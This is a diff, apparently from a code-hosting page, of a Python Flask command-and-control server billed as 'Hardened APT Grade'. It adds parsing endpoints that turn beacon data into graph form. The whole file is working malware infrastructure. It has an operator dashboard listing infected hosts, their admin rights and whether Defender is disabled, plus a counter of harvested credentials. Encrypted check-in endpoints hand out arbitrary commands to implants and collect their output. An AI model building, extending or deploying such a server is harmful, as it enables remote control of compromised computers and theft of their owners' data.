<p>Command & Control Framework v{{ version }} | Encrypted Channel Active</p>
|
<p>Command & Control Framework v{{ version }} | Encrypted Channel Active</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="stats">
|
<div class="stats">
|
||||||
<div class="stat-card">
|
<div class="stat-card">
|
||||||
<div class="number" id="onlineCount">0</div>
|
<div class="number" id="onlineCount">0</div>
|
||||||
@@ -584,7 +585,7 @@ HTML_TEMPLATE = '''
|
|||||||
<div class="label">Credentials Harvested</div>
|
<div class="label">Credentials Harvested</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="beacon-table">
|
<div class="beacon-table">
|
||||||
<table>
|
<table>
|
||||||
<thead>
|
<thead>
|
||||||
@@ -593,7 +594,7 @@ HTML_TEMPLATE = '''
|
|||||||
<tbody id="beaconList"></tbody>
|
<tbody id="beaconList"></tbody>
|
||||||
</table>
|
</table>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="command-bar">
|
<div class="command-bar">
|
||||||
<h3>Command Interface</h3>
|
<h3>Command Interface</h3>
|
||||||
<select id="targetBeacon">
|
<select id="targetBeacon">
|
||||||
@@ -613,7 +614,7 @@ HTML_TEMPLATE = '''
|
|||||||
<input type="text" id="commandInput" placeholder="Enter command...">
|
<input type="text" id="commandInput" placeholder="Enter command...">
|
||||||
<button onclick="sendCommand()">EXECUTE</button>
|
<button onclick="sendCommand()">EXECUTE</button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div id="beaconModal" class="modal">
|
<div id="beaconModal" class="modal">
|
||||||
<div class="modal-content">
|
<div class="modal-content">
|
||||||
<span class="close" onclick="closeModal()">×</span>
|
<span class="close" onclick="closeModal()">×</span>
|
||||||
@@ -624,15 +625,15 @@ HTML_TEMPLATE = '''
|
|||||||
<button onclick="sendQuickCommand()" style="margin-top:10px;">Execute</button>
|
<button onclick="sendQuickCommand()" style="margin-top:10px;">Execute</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script>
|
<script>
|
||||||
var socket = io();
|
var socket = io();
|
||||||
var currentBeacon = null;
|
var currentBeacon = null;
|
||||||
|
|
||||||
socket.on('connect', function() { console.log('Connected to C2 server'); });
|
socket.on('connect', function() { console.log('Connected to C2 server'); });
|
||||||
socket.on('beacon_update', function(data) { refreshBeacons(); });
|
socket.on('beacon_update', function(data) { refreshBeacons(); });
|
||||||
socket.on('task_result', function(data) { updateLog(data); });
|
socket.on('task_result', function(data) { updateLog(data); });
|
||||||
|
|
||||||
function refreshBeacons() {
|
function refreshBeacons() {
|
||||||
fetch('/api/beacons')
|
fetch('/api/beacons')
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
@@ -642,7 +643,7 @@ HTML_TEMPLATE = '''
|
|||||||
tbody.innerHTML = '';
|
tbody.innerHTML = '';
|
||||||
select.innerHTML = '<option value="">Select Beacon</option>';
|
select.innerHTML = '<option value="">Select Beacon</option>';
|
||||||
document.getElementById('onlineCount').innerText = data.length;
|
document.getElementById('onlineCount').innerText = data.length;
|
||||||
|
|
||||||
data.forEach(beacon => {
|
data.forEach(beacon => {
|
||||||
var row = tbody.insertRow();
|
var row = tbody.insertRow();
|
||||||
row.onclick = function() { showBeacon(beacon.beacon_id); };
|
row.onclick = function() { showBeacon(beacon.beacon_id); };
|
||||||
@@ -654,7 +655,7 @@ HTML_TEMPLATE = '''
|
|||||||
row.insertCell(5).innerHTML = beacon.defender_status == 1 ? 'Disabled' : beacon.defender_status == 0 ? 'Enabled' : 'Unknown';
|
row.insertCell(5).innerHTML = beacon.defender_status == 1 ? 'Disabled' : beacon.defender_status == 0 ? 'Enabled' : 'Unknown';
|
||||||
row.insertCell(6).innerHTML = new Date(beacon.last_seen * 1000).toLocaleString();
|
row.insertCell(6).innerHTML = new Date(beacon.last_seen * 1000).toLocaleString();
|
||||||
row.insertCell(7).innerHTML = '<span class="status-active">● Active</span>';
|
row.insertCell(7).innerHTML = '<span class="status-active">● Active</span>';
|
||||||
|
|
||||||
var opt = document.createElement('option');
|
var opt = document.createElement('option');
|
||||||
opt.value = beacon.beacon_id;
|
opt.value = beacon.beacon_id;
|
||||||
opt.text = beacon.computer_name + '\\' + beacon.username;
|
opt.text = beacon.computer_name + '\\' + beacon.username;
|
||||||
@@ -662,14 +663,14 @@ HTML_TEMPLATE = '''
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function sendCommand() {
|
function sendCommand() {
|
||||||
var beacon = document.getElementById('targetBeacon').value;
|
var beacon = document.getElementById('targetBeacon').value;
|
||||||
var command = document.getElementById('commandInput').value;
|
var command = document.getElementById('commandInput').value;
|
||||||
var preset = document.getElementById('commandPreset').value;
|
var preset = document.getElementById('commandPreset').value;
|
||||||
if (preset) command = preset;
|
if (preset) command = preset;
|
||||||
if (!beacon || !command) return;
|
if (!beacon || !command) return;
|
||||||
|
|
||||||
fetch('/api/task', {
|
fetch('/api/task', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
headers: {'Content-Type': 'application/json'},
|
headers: {'Content-Type': 'application/json'},
|
||||||
@@ -679,14 +680,14 @@ HTML_TEMPLATE = '''
|
|||||||
document.getElementById('commandInput').value = '';
|
document.getElementById('commandInput').value = '';
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function showBeacon(beaconId) {
|
function showBeacon(beaconId) {
|
||||||
currentBeacon = beaconId;
|
currentBeacon = beaconId;
|
||||||
fetch('/api/beacon/' + beaconId)
|
fetch('/api/beacon/' + beaconId)
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(data => {
|
.then(data => {
|
||||||
document.getElementById('modalTitle').innerHTML = 'Beacon: ' + data.computer_name;
|
document.getElementById('modalTitle').innerHTML = 'Beacon: ' + data.computer_name;
|
||||||
document.getElementById('modalContent').innerHTML =
|
document.getElementById('modalContent').innerHTML =
|
||||||
'<p><strong>User:</strong> ' + data.username + '</p>' +
|
'<p><strong>User:</strong> ' + data.username + '</p>' +
|
||||||
'<p><strong>OS:</strong> ' + data.os_version + '</p>' +
|
'<p><strong>OS:</strong> ' + data.os_version + '</p>' +
|
||||||
'<p><strong>Admin:</strong> ' + (data.is_admin ? 'Yes' : 'No') + '</p>' +
|
'<p><strong>Admin:</strong> ' + (data.is_admin ? 'Yes' : 'No') + '</p>' +
|
||||||
@@ -698,7 +699,7 @@ HTML_TEMPLATE = '''
|
|||||||
loadCommandLog(beaconId);
|
loadCommandLog(beaconId);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function loadCommandLog(beaconId) {
|
function loadCommandLog(beaconId) {
|
||||||
fetch('/api/tasks/' + beaconId)
|
fetch('/api/tasks/' + beaconId)
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
@@ -711,7 +712,7 @@ HTML_TEMPLATE = '''
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function sendQuickCommand() {
|
function sendQuickCommand() {
|
||||||
var cmd = document.getElementById('quickCommand').value;
|
var cmd = document.getElementById('quickCommand').value;
|
||||||
if (!currentBeacon || !cmd) return;
|
if (!currentBeacon || !cmd) return;
|
||||||
@@ -724,11 +725,11 @@ HTML_TEMPLATE = '''
|
|||||||
document.getElementById('quickCommand').value = '';
|
document.getElementById('quickCommand').value = '';
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeModal() {
|
function closeModal() {
|
||||||
document.getElementById('beaconModal').style.display = 'none';
|
document.getElementById('beaconModal').style.display = 'none';
|
||||||
}
|
}
|
||||||
|
|
||||||
setInterval(refreshBeacons, 5000);
|
setInterval(refreshBeacons, 5000);
|
||||||
refreshBeacons();
|
refreshBeacons();
|
||||||
</script>
|
</script>
|
||||||
@@ -756,13 +757,13 @@ def login():
|
|||||||
data = request.json
|
data = request.json
|
||||||
username = data.get('username')
|
username = data.get('username')
|
||||||
password = data.get('password')
|
password = data.get('password')
|
||||||
|
|
||||||
conn = sqlite3.connect(DATABASE_PATH)
|
conn = sqlite3.connect(DATABASE_PATH)
|
||||||
c = conn.cursor()
|
c = conn.cursor()
|
||||||
c.execute("SELECT password_hash, role FROM users WHERE username = ?", (username,))
|
c.execute("SELECT password_hash, role FROM users WHERE username = ?", (username,))
|
||||||
row = c.fetchone()
|
row = c.fetchone()
|
||||||
conn.close()
|
conn.close()
|
||||||
|
|
||||||
if row and check_password_hash(row[0], password):
|
if row and check_password_hash(row[0], password):
|
||||||
session['authenticated'] = True
|
session['authenticated'] = True
|
||||||
session['username'] = username
|
session['username'] = username
|
||||||
@@ -822,19 +823,19 @@ def beacon_handler():
|
|||||||
data = request.form.get('d') or request.form.get('data')
|
data = request.form.get('d') or request.form.get('data')
|
||||||
if not data:
|
if not data:
|
||||||
return "No data", 400
|
return "No data", 400
|
||||||
|
|
||||||
try:
|
try:
|
||||||
decrypted = CryptoManager.decrypt_aes(data)
|
decrypted = CryptoManager.decrypt_aes(data)
|
||||||
beacon_data = json.loads(decrypted.decode())
|
beacon_data = json.loads(decrypted.decode())
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logging.error(f"Decrypt failed: {e}")
|
logging.error(f"Decrypt failed: {e}")
|
||||||
return "Bad data", 400
|
return "Bad data", 400
|
||||||
|
|
||||||
beacon = beacon_manager.update_beacon(beacon_data)
|
beacon = beacon_manager.update_beacon(beacon_data)
|
||||||
logging.info(f"BEACON: {beacon.computer_name}\\{beacon.username} | Admin: {beacon.is_admin} | Defender: {beacon.defender_status}")
|
logging.info(f"BEACON: {beacon.computer_name}\\{beacon.username} | Admin: {beacon.is_admin} | Defender: {beacon.defender_status}")
|
||||||
|
|
||||||
pending_tasks = beacon_manager.get_pending_tasks(beacon.beacon_id)
|
pending_tasks = beacon_manager.get_pending_tasks(beacon.beacon_id)
|
||||||
|
|
||||||
if pending_tasks:
|
if pending_tasks:
|
||||||
task = pending_tasks[0]
|
task = pending_tasks[0]
|
||||||
response = json.dumps({
|
response = json.dumps({
|
||||||
@@ -845,7 +846,7 @@ def beacon_handler():
|
|||||||
})
|
})
|
||||||
else:
|
else:
|
||||||
response = json.dumps({"task_id": 0, "command": "", "args": "", "ps": False})
|
response = json.dumps({"task_id": 0, "command": "", "args": "", "ps": False})
|
||||||
|
|
||||||
encrypted_response = CryptoManager.encrypt_aes(response.encode())
|
encrypted_response = CryptoManager.encrypt_aes(response.encode())
|
||||||
socketio.emit('beacon_update', {'beacon_id': beacon.beacon_id})
|
socketio.emit('beacon_update', {'beacon_id': beacon.beacon_id})
|
||||||
return encrypted_response, 200, {'Content-Type': 'application/octet-stream'}
|
return encrypted_response, 200, {'Content-Type': 'application/octet-stream'}
|
||||||
@@ -857,20 +858,20 @@ def task_result():
|
|||||||
data = request.form.get('d') or request.form.get('data')
|
data = request.form.get('d') or request.form.get('data')
|
||||||
if not data:
|
if not data:
|
||||||
return "No data", 400
|
return "No data", 400
|
||||||
|
|
||||||
try:
|
try:
|
||||||
decrypted = CryptoManager.decrypt_aes(data)
|
decrypted = CryptoManager.decrypt_aes(data)
|
||||||
result_data = json.loads(decrypted.decode())
|
result_data = json.loads(decrypted.decode())
|
||||||
except:
|
except:
|
||||||
return "Bad data", 400
|
return "Bad data", 400
|
||||||
|
|
||||||
task_id = result_data.get('task_id', 0)
|
task_id = result_data.get('task_id', 0)
|
||||||
output = result_data.get('output', '')
|
output = result_data.get('output', '')
|
||||||
|
|
||||||
if task_id:
|
if task_id:
|
||||||
beacon_manager.mark_task_completed(task_id, output)
|
beacon_manager.mark_task_completed(task_id, output)
|
||||||
socketio.emit('task_result', {'task_id': task_id, 'output': output})
|
socketio.emit('task_result', {'task_id': task_id, 'output': output})
|
||||||
|
|
||||||
return "OK", 200
|
return "OK", 200
|
||||||
|
|
||||||
@app.route('/api/beacons', methods=['GET'])
|
@app.route('/api/beacons', methods=['GET'])
|
||||||
@@ -896,16 +897,16 @@ def api_add_task():
|
|||||||
data = request.json
|
data = request.json
|
||||||
if not data or 'host' not in data or 'command' not in data:
|
if not data or 'host' not in data or 'command' not in data:
|
||||||
return jsonify({"error": "Missing host or command"}), 400
|
return jsonify({"error": "Missing host or command"}), 400
|
||||||
|
|
||||||
beacon = None
|
beacon = None
|
||||||
for b in beacon_manager.get_all_beacons():
|
for b in beacon_manager.get_all_beacons():
|
||||||
if b.beacon_id == data['host'] or b.computer_name == data['host']:
|
if b.beacon_id == data['host'] or b.computer_name == data['host']:
|
||||||
beacon = b
|
beacon = b
|
||||||
break
|
break
|
||||||
|
|
||||||
if not beacon:
|
if not beacon:
|
||||||
return jsonify({"error": "Beacon not found"}), 404
|
return jsonify({"error": "Beacon not found"}), 404
|
||||||
|
|
||||||
task_id = beacon_manager.add_task(
|
task_id = beacon_manager.add_task(
|
||||||
beacon.beacon_id,
|
beacon.beacon_id,
|
||||||
data['command'],
|
data['command'],
|
||||||
@@ -945,6 +946,183 @@ def api_stats():
|
|||||||
"version": VERSION
|
"version": VERSION
|
||||||
})
|
})
|
||||||
|
|
||||||
|
# ==================== C2 PARSER (NEW) ====================
|
||||||
|
class LanternCompatibilityParser:
|
||||||
|
"""
|
||||||
|
Bridges CHURCH C2 format to Lantern.js graph format.
|
||||||
|
Converts beacon data to graph nodes/edges for visualization.
|
||||||
|
"""
|
||||||
|
@staticmethod
|
||||||
|
def beacon_to_graph(beacon_data: dict) -> dict:
|
||||||
|
"""Convert beacon data to Lantern.js graph format"""
|
||||||
|
nodes = []
|
||||||
|
edges = []
|
||||||
|
environments = {}
|
||||||
|
|
||||||
|
# Extract environment info
|
||||||
|
env_id = f"env_{beacon_data.get('computer', '').lower()}"
|
||||||
|
hostname = beacon_data.get('computer', 'unknown')
|
||||||
|
|
||||||
|
# Build environment node
|
||||||
|
env_node = {
|
||||||
|
"id": env_id,
|
||||||
|
"type": "environment",
|
||||||
|
"label": hostname,
|
||||||
|
"info": {
|
||||||
|
"hostname": hostname,
|
||||||
|
"username": beacon_data.get('user', ''),
|
||||||
|
"os": beacon_data.get('os', 'Unknown'),
|
||||||
|
"admin": beacon_data.get('admin', False),
|
||||||
|
"pid": beacon_data.get('pid', 0),
|
||||||
|
"defender_status": beacon_data.get('defender', 2),
|
||||||
|
"source": "c2",
|
||||||
|
"has_nmap": False,
|
||||||
|
"enabled": True,
|
||||||
|
},
|
||||||
|
"status": "online" if beacon_data.get('last_seen') else "stale",
|
||||||
|
"default_tags": [hostname, beacon_data.get('user', '')]
|
||||||
|
}
|
||||||
|
nodes.append(env_node)
|
||||||
|
|
||||||
|
# Store in environments dict for the graph
|
||||||
|
environments[env_id] = {
|
||||||
|
"hostname": hostname,
|
||||||
|
"source": "c2",
|
||||||
|
"data": {
|
||||||
|
"health": {
|
||||||
|
"hostname": hostname,
|
||||||
|
"os": beacon_data.get('os', 'Unknown'),
|
||||||
|
"username": beacon_data.get('user', ''),
|
||||||
|
"process_count": 1,
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"scan": {
|
||||||
|
"metadata": {
|
||||||
|
"total_processes": 1,
|
||||||
|
"total_listeners": 0,
|
||||||
|
},
|
||||||
|
"nodes": []
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add process nodes if available
|
||||||
|
processes = beacon_data.get('processes', [])
|
||||||
|
for proc in processes[:20]: # Limit for performance
|
||||||
|
proc_id = f"{env_id}__proc_{proc.get('pid', 'unknown')}"
|
||||||
|
proc_node = {
|
||||||
|
"id": proc_id,
|
||||||
|
"type": "process",
|
||||||
|
"label": proc.get('name', 'unknown'),
|
||||||
|
"info": {
|
||||||
|
"pid": proc.get('pid'),
|
||||||
|
"username": proc.get('user'),
|
||||||
|
"cpu": proc.get('cpu'),
|
||||||
|
"memory": proc.get('memory'),
|
||||||
|
},
|
||||||
|
"_envId": env_id
|
||||||
|
}
|
||||||
|
nodes.append(proc_node)
|
||||||
|
edges.append({
|
||||||
|
"source": env_id,
|
||||||
|
"target": proc_id,
|
||||||
|
"type": "ownership",
|
||||||
|
"label": ""
|
||||||
|
})
|
||||||
|
|
||||||
|
return {
|
||||||
|
"nodes": nodes,
|
||||||
|
"edges": edges,
|
||||||
|
"environments": environments,
|
||||||
|
"metadata": {
|
||||||
|
"total_environments": 1,
|
||||||
|
"timestamp": beacon_data.get('timestamp', '')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def result_to_event(result_data: dict) -> dict:
|
||||||
|
"""Convert command result to audit event"""
|
||||||
|
return {
|
||||||
|
"event_type": "task_result",
|
||||||
|
"category": "task",
|
||||||
|
"detail": f"Task {result_data.get('task_id', '?')} completed",
|
||||||
|
"timestamp": result_data.get('timestamp'),
|
||||||
|
"source": "c2_beacon",
|
||||||
|
"data": result_data
|
||||||
|
}
|
||||||
|
|
||||||
|
# New parser routes
|
||||||
|
@app.route('/api/beacon/parse', methods=['POST'])
|
||||||
|
@limiter.limit("10 per minute")
|
||||||
|
def parse_beacon():
|
||||||
|
"""Parse raw beacon data without storing it."""
|
||||||
|
data = request.form.get('d') or request.form.get('data')
|
||||||
|
if not data:
|
||||||
|
return jsonify({"error": "No data"}), 400
|
||||||
|
|
||||||
|
try:
|
||||||
|
decrypted = CryptoManager.decrypt_aes(data)
|
||||||
|
beacon_data = json.loads(decrypted.decode())
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"Parse decrypt failed: {e}")
|
||||||
|
return jsonify({"error": "Decryption failed"}), 400
|
||||||
|
|
||||||
|
graph_data = LanternCompatibilityParser.beacon_to_graph(beacon_data)
|
||||||
|
return jsonify({
|
||||||
|
"beacon": beacon_data,
|
||||||
|
"graph": graph_data
|
||||||
|
})
|
||||||
|
|
||||||
|
@app.route('/api/beacon/graph', methods=['POST'])
|
||||||
|
@limiter.limit("10 per minute")
|
||||||
|
def beacon_to_graph():
|
||||||
|
"""Direct endpoint to convert beacon to graph for Lantern.js."""
|
||||||
|
data = request.form.get('d') or request.form.get('data')
|
||||||
|
if not data:
|
||||||
|
return jsonify({"error": "No data"}), 400
|
||||||
|
|
||||||
|
try:
|
||||||
|
decrypted = CryptoManager.decrypt_aes(data)
|
||||||
|
beacon_data = json.loads(decrypted.decode())
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"Graph decrypt failed: {e}")
|
||||||
|
return jsonify({"error": "Decryption failed"}), 400
|
||||||
|
|
||||||
|
graph_data = LanternCompatibilityParser.beacon_to_graph(beacon_data)
|
||||||
|
return jsonify(graph_data)
|
||||||
|
|
||||||
|
@app.route('/api/beacon/result/parse', methods=['POST'])
|
||||||
|
@limiter.limit("10 per minute")
|
||||||
|
def parse_result():
|
||||||
|
"""Parse command result output."""
|
||||||
|
data = request.form.get('d') or request.form.get('data')
|
||||||
|
if not data:
|
||||||
|
return jsonify({"error": "No data"}), 400
|
||||||
|
|
||||||
|
try:
|
||||||
|
decrypted = CryptoManager.decrypt_aes(data)
|
||||||
|
result_data = json.loads(decrypted.decode())
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"Result parse decrypt failed: {e}")
|
||||||
|
return jsonify({"error": "Decryption failed"}), 400
|
||||||
|
|
||||||
|
event = LanternCompatibilityParser.result_to_event(result_data)
|
||||||
|
|
||||||
|
# Store in audit log
|
||||||
|
conn = sqlite3.connect(DATABASE_PATH)
|
||||||
|
c = conn.cursor()
|
||||||
|
c.execute(
|
||||||
|
"INSERT INTO audit_log (username, action, target, timestamp, ip_address) VALUES (?, ?, ?, ?, ?)",
|
||||||
|
("system", event['detail'], str(result_data.get('task_id', '0')), time.time(), request.remote_addr)
|
||||||
|
)
|
||||||
|
conn.commit()
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
return jsonify({
|
||||||
|
"result": result_data,
|
||||||
|
"event": event
|
||||||
|
})
|
||||||
|
|
||||||
# ==================== WEBSOCKET EVENTS ====================
|
# ==================== WEBSOCKET EVENTS ====================
|
||||||
@socketio.on('connect')
|
@socketio.on('connect')
|
||||||
def handle_connect():
|
def handle_connect():
|
||||||
@@ -960,7 +1138,7 @@ class C2Logger:
|
|||||||
def __init__(self, log_path: str):
|
def __init__(self, log_path: str):
|
||||||
self.log_path = log_path
|
self.log_path = log_path
|
||||||
self._setup_logging()
|
self._setup_logging()
|
||||||
|
|
||||||
def _setup_logging(self):
|
def _setup_logging(self):
|
||||||
logging.basicConfig(
|
logging.basicConfig(
|
||||||
level=logging.INFO,
|
level=logging.INFO,
|
||||||
@@ -970,13 +1148,13 @@ class C2Logger:
|
|||||||
logging.StreamHandler(sys.stdout)
|
logging.StreamHandler(sys.stdout)
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
def log_beacon(self, beacon_id: str, action: str, details: str = ""):
|
def log_beacon(self, beacon_id: str, action: str, details: str = ""):
|
||||||
logging.info(f"BEACON[{beacon_id}] {action}: {details}")
|
logging.info(f"BEACON[{beacon_id}] {action}: {details}")
|
||||||
|
|
||||||
def log_task(self, beacon_id: str, task: str):
|
def log_task(self, beacon_id: str, task: str):
|
||||||
logging.info(f"TASK[{beacon_id}] {task}")
|
logging.info(f"TASK[{beacon_id}] {task}")
|
||||||
|
|
||||||
def log_error(self, error: str):
|
def log_error(self, error: str):
|
||||||
logging.error(f"ERROR: {error}")
|
logging.error(f"ERROR: {error}")
|
||||||
|
|
||||||
@@ -995,34 +1173,44 @@ def cleanup_old_beacons():
|
|||||||
|
|
||||||
# ==================== MAIN ====================
|
# ==================== MAIN ====================
|
||||||
def main():
|
def main():
|
||||||
|
global beacon_manager
|
||||||
|
|
||||||
parser = argparse.ArgumentParser(description='CHURCH C2 Server - Hardened APT Grade')
|
parser = argparse.ArgumentParser(description='CHURCH C2 Server - Hardened APT Grade')
|
||||||
parser.add_argument('--host', default='0.0.0.0', help='Bind address')
|
parser.add_argument('--host', default='0.0.0.0', help='Bind address')
|
||||||
parser.add_argument('--port', type=int, default=443, help='Bind port (HTTPS only)')
|
parser.add_argument('--port', type=int, default=443, help='Bind port (HTTPS only)')
|
||||||
parser.add_argument('--cert', default=SSL_CERT, help='SSL certificate path')
|
parser.add_argument('--cert', default=SSL_CERT, help='SSL certificate path')
|
||||||
parser.add_argument('--key', default=SSL_KEY, help='SSL key path')
|
parser.add_argument('--key', default=SSL_KEY, help='SSL key path')
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
# Initialize
|
# Initialize database FIRST
|
||||||
init_database()
|
init_database()
|
||||||
|
|
||||||
|
# Now instantiate beacon manager (tables exist)
|
||||||
|
beacon_manager = BeaconManager()
|
||||||
|
|
||||||
os.makedirs(DOWNLOAD_PATH, exist_ok=True)
|
os.makedirs(DOWNLOAD_PATH, exist_ok=True)
|
||||||
os.makedirs(PLUGIN_PATH, exist_ok=True)
|
os.makedirs(PLUGIN_PATH, exist_ok=True)
|
||||||
|
|
||||||
# Start cleanup thread
|
# Start cleanup thread
|
||||||
cleanup_thread = threading.Thread(target=cleanup_old_beacons, daemon=True)
|
cleanup_thread = threading.Thread(target=cleanup_old_beacons, daemon=True)
|
||||||
cleanup_thread.start()
|
cleanup_thread.start()
|
||||||
|
|
||||||
print("""
|
print("""
|
||||||
╔═══════════════════════════════════════════════════════════════╗
|
╔═══════════════════════════════════════════════════════════════╗
|
||||||
║ CHURCH C2 SERVER v2.1 ║
|
║ CHURCH C2 SERVER v2.1 ║
|
||||||
║ by ek0ms savi0r ║
|
║ by ek0ms savi0r ║
|
||||||
╚═══════════════════════════════════════════════════════════════╝
|
╚═══════════════════════════════════════════════════════════════╝
|
||||||
""")
|
""")
|
||||||
|
|
||||||
print(f"[*] Starting C2 server on {args.host}:{args.port} (HTTPS only)")
|
print(f"[*] Starting C2 server on {args.host}:{args.port} (HTTPS only)")
|
||||||
print(f"[*] Web UI: https://{args.host}:{args.port}")
|
print(f"[*] Web UI: https://{args.host}:{args.port}")
|
||||||
print(f"[*] API Key (for external tools): {JWT_SECRET}")
|
print(f"[*] API Key (for external tools): {JWT_SECRET}")
|
||||||
print(f"[*] Admin login: {ADMIN_USERNAME} (use password from config/env or random printed above)")
|
print(f"[*] Admin login: {ADMIN_USERNAME} (use password from config/env or random printed above)")
|
||||||
|
print("[*] Parser endpoints added:")
|
||||||
|
print(" POST /api/beacon/parse - Parse raw beacon to JSON + graph")
|
||||||
|
print(" POST /api/beacon/graph - Convert to Lantern.js graph format")
|
||||||
|
print(" POST /api/beacon/result/parse - Parse command results")
|
||||||
|
|
||||||
socketio.run(app, host=args.host, port=args.port, ssl_context=(args.cert, args.key), debug=False)
|
socketio.run(app, host=args.host, port=args.port, ssl_context=(args.cert, args.key), debug=False)
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
|||||||
Reference in New Issue
Block a user